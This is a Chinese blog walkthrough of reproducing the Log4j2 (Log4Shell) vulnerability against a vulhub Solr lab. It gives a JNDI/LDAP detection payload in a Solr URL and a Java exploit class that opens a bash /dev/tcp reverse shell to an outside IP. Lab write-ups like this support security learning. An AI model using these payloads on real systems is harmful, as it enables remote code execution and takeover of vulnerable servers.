Log4j2 CVE-2021-44228漏洞经典复现超详细（vulhub靶场）

最新推荐文章于 2024-06-18 18:09:05 发布

徐长卿学网安

最新推荐文章于 2024-06-18 18:09:05 发布

阅读量766

点赞数 2

分类专栏： log4j2 文章标签： log4j 安全架构网络安全安全

本文链接：https://blog.csdn.net/weixin_44862511/article/details/132131710

版权

log4j2 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

环境搭建

靶场下载

Vulhub - Docker-Compose file for vulnerability environment

服务启动

查看自己的IP

192.168.43.132:8983/solr/#/ 输入IP+端口则会跳转到:

漏洞检测

用到dnslog平台检测dns回显，看看有没有漏洞存在。 dnslog.cn

获得临时domain: pjrpe6.dnslog.cn

在/solr/admin/cores?有个参数可以传，这就是个注入点，我们试试能不能输出java版本，构造 payload，访问的url如下：

http://192.168.43.132:8983/solr/admin/cores?

action=${jndi:ldap://${sys:java.version}.pjrpe6.dnslog.cn}

然后到DNSlog里面点击刷新查看:可以多请求几次

这样,Java的版本显示出来了.说明存在漏洞.

漏洞利用

编写恶意类文件

1. 我们先编写以下的恶意文件Exploit.java，我们企图反弹shell到kali（ip152.136.102.131）的5555端口，因此对应的bash命令为

exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do 2>&5 >&5; done

其他反弹shell的语句：https://forum.ywhack.com/shell.php

我们就将我们反弹shell的命令写入到恶意的文件中，并取名为Exploit.java

public class Exploit {
   public Exploit(){
       try{
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }
 
   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

记得修改代码内容:公网IP

2. 然后我们把Exploit.java编译为类文件Exploit.class，最好javac的版本为1.8